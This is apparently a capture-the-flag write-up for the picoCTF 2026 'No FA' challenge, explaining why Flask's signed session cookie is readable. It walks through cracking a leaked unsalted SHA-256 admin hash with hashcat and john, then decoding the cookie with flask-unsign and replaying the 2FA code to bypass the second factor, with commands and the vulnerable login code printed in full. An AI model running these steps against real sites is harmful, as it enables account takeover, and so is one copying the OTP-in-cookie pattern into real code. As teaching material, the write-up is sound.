6 min read

picoCTF 2026 No FA Writeup: Reading the 2FA OTP from a Flask Session Cookie

A full picoCTF 2026 No FA writeup: the 2FA OTP is stored in Flask's signed (not encrypted) session cookie, so after cracking the leaked admin hash you decode the cookie, replay the OTP, and win.
Decoded Flask session cookie revealing the 2FA otp_secret value

Challenge description:

Seems like some data has been leaked! Can you get the flag?

This challenge hands you two things up front:

  • application code: app.py
  • leaked data: users.db

So this isn't a pure black-box guessing game — it's a white-box audit challenge. The name No FA looks like it's hinting at 2FA / MFA, and the challenge says data was leaked, so the first reasonable assumption is:

Can the leaked data let us bypass 2FA?

Challenge info

What a client-side session is: signing isn't encryption

The core of this challenge is a concept a lot of people mix up: where Flask's default session actually lives, and what it actually protects.

By default, Flask stores the session contents in a client-side cookie. That cookie is signed with the SECRET_KEY, whose purpose is to stop users from tampering with the contents — if you change it, the signature no longer matches.

But signing is not the same as encryption:

signed: you can't change it, but you can read it
encrypted: you can't read it

In other words, Flask's default session is a signed cookie, not an encrypted cookie. As long as you have that cookie in hand (and you can grab it with curl, Burp, or devtools), you can decode its contents. Keep that in mind and you're already halfway to solving this: any sensitive thing the server drops into the session is effectively readable by the user — and this challenge happens to put the 2FA OTP right in there.

Step 1: Download the white-box materials the challenge gives you

First create a folder:

cd /mnt/d/Download
mkdir -p nofa
cd nofa

Set the URLs:

BASE='http://foggy-cliff.picoctf.net:XXXXX'
APP='https://challenge-files.picoctf.net/.../app.py'
DB='https://challenge-files.picoctf.net/.../users.db'

Download:

curl -sS -L "$APP" -o app.py
curl -sS -L "$DB" -o users.db

file app.py users.db

You'll see:

app.py: Python script
users.db: SQLite 3.x database

Now the direction is clear:

First read app.py's login rules
Then look at what data is in users.db

Step 2: Start with app.py's routes

For a white-box challenge I usually start by reading the routes:

rg -n "route|login|flag|otp|2fa|session|password|hash|sqlite|users|admin" app.py

This challenge has very few routes:

@app.route("/")
def home():
    ...

@app.route('/login', methods=['GET', 'POST'])
def login():
    ...

@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
    ...

@app.route('/logout')
def logout():
    ...

The home page logic:

@app.route("/")
def home():
    if 'username' not in session or session['logged'] == 'false':
        flash('Please login to access this page', 'red')
        return redirect(url_for('login'))
    
    flag = "No flag for you!!"
    if session.get('username') == 'admin':
        flag = os.getenv('FLAG')
    
    return render_template("index.html", flag=flag)

From here we can lay out the conditions for getting the flag:

session must contain username
session['logged'] must not be false
session['username'] must equal admin

In other words:

We need to become an admin with logged=true

Step 3: Read the login and 2FA flow

The core login logic:

user = db.get_user_by_username(username)

if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:
    if user['two_fa']:
        otp = str(random.randint(1000, 9999))
        session['otp_secret'] = otp
        session['otp_timestamp'] = time.time()
        session['username'] = username
        session['logged'] = 'false'
        return redirect(url_for('two_fa'))
    else:
        session['username'] = username
        session['logged'] = 'true'
        return redirect(url_for('home'))

There are two key points here.

First, the password is:

hashlib.sha256(password.encode()).hexdigest()

which means what's stored in the database is a SHA-256 hash.

Second, if two_fa is true, an OTP is generated:

otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'

This is the subtle part.

It puts the OTP into session['otp_secret'],

and in Flask's default session, the session contents live in a client-side cookie that is signed to prevent tampering — but not encrypted.

So:

Can't just change it
But can read it

This is the very heart of the whole challenge.

Next, look at /two_fa:

@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
    if request.method == 'POST':
        otp = request.form['otp']
        stored_otp = session['otp_secret']
        timestamp = session.get('otp_timestamp')
        if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:
            session['logged'] = 'true'
            return redirect(url_for('home'))
        else:
            return render_template('2fa.html')
    else:
        return render_template('2fa.html')

This means:

As long as we know the otp_secret in the session
and send it back within 120 seconds
we can flip logged to true

Step 4: Look at the leaked users.db

The users.db the challenge gives you is SQLite.

You can inspect the schema with Python:

python3 - <<'PY'
import sqlite3

con = sqlite3.connect("users.db")
cur = con.cursor()

print("[tables]")
tables = [r[0] for r in cur.execute(
    "SELECT name FROM sqlite_master WHERE type='table'"
)]
for t in tables:
    print("-", t)

for t in tables:
    print(f"\n=== schema: {t} ===")
    for row in cur.execute(f"PRAGMA table_info({t})"):
        print(row)

    print(f"\n=== sample: {t} ===")
    for row in cur.execute(f"SELECT * FROM {t} LIMIT 20"):
        print(row)
PY

Tables:

users

The users schema:

id
username
email
password
two_fa

The admin row:

username = admin
email = [email protected]
password = c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
two_fa = 1

From here we can draw two conclusions:

  • admin has 2FA enabled, so after logging in it goes to /two_fa
  • admin's password hash has leaked, and there's no salt

An unsalted SHA-256 is a great candidate for a dictionary attack.

Step 5: Crack the admin password hash

First save the admin hash to a file:

python3 - <<'PY'
import sqlite3

con = sqlite3.connect("users.db")
cur = con.cursor()

for row in cur.execute("SELECT username, password, two_fa FROM users WHERE username='admin'"):
    print(row)
    open("admin.sha256", "w").write(row[1] + "\n")
PY

cat admin.sha256

Using hashcat:

hashcat -m 1400 -a 0 admin.sha256 /usr/share/wordlists/rockyou.txt
hashcat -m 1400 admin.sha256 --show

Or john:

john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt admin.sha256
john --format=raw-sha256 --show admin.sha256

Result:

c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67:apple@123

Now we have the admin password:

apple@123

But we're not done yet, because admin has two_fa=1, so after logging in we still get stuck at 2FA.

Log in with the password we just cracked:

BASE='http://foggy-cliff.picoctf.net:XXXXX'
PASS='apple@123'

curl -sS -i -c cookies.txt -X POST "$BASE/login" \
  --data-urlencode "username=admin" \
  --data-urlencode "password=$PASS" \
  -o login_admin.http

sed -n '1,140p' login_admin.http
cat cookies.txt

You'll see:

HTTP/1.1 302 FOUND
Location: /two_fa
Set-Cookie: session=...

This means:

The password is correct
But admin gets redirected to 2FA

and cookies.txt now holds the Flask session cookie.

Step 7: Decode the Flask session and read the OTP

First install the tool:

python3 -m pip install --user flask-unsign

Pull out the cookie:

COOKIE="$(awk '$6=="session"{print $7}' cookies.txt)"

Decode it:

python3 -m flask_unsign --decode --cookie "$COOKIE"

You'll see something like:

{
  'logged': 'false',
  'otp_secret': '3412',
  'otp_timestamp': 1788098991.6469016,
  'username': 'admin'
}

This is the most critical part of the whole challenge.

HttpOnly is not the answer to this problem.

HttpOnly only stops JavaScript in the browser from reading the cookie, but the user already has the cookie they received — with curl, Burp, browser devtools, or a proxy they can see the cookie value, and the contents of a Flask session are decodable.

It's signed, so you can't just change it:

Change logged=false to logged=true

That would normally require knowing the Flask SECRET_KEY to re-sign it, but this challenge doesn't need us to change the cookie at all — the OTP is already sitting in the cookie, and we just need to read it.

Step 8: Send the OTP and clear 2FA

Send the otp_secret back to /two_fa:

OTP='3412'

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/two_fa" \
  --data-urlencode "otp=$OTP" \
  -o twofa.http

sed -n '1,120p' twofa.http

If it works, you'll see:

HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=...

This means /two_fa has already changed the session to:

session['logged'] = 'true'

Finally, check the home page:

curl -sS -b cookies.txt "$BASE/" -o home.html
grep -Eo 'picoCTF\{[^}]+\}' home.html

Result:

picoCTF{Redacted}

Key takeaways

The full chain, put together, is:

users.db is leaked
-> obtain admin's SHA-256 password hash
-> crack admin's password with a wordlist
-> log in as admin and land on /two_fa
-> the OTP is placed in the Flask client-side session cookie
-> the Flask session is signed, not encrypted
-> decode the cookie and read out otp_secret
-> POST the OTP
-> become an admin with logged=true
-> the home page shows the flag

The real problem isn't "the OTP is short enough to brute-force" — it's that the OTP is placed in a session cookie the user can read, and that's what turns 2FA into No FA.

The real breakthrough is understanding:

session['otp_secret'] = otp

and knowing that:

Flask's default session is a signed cookie, not an encrypted cookie

Signed only guarantees "you can't change it"; only encrypted guarantees "you can't see it" — and for this challenge, being able to see the OTP is all it takes.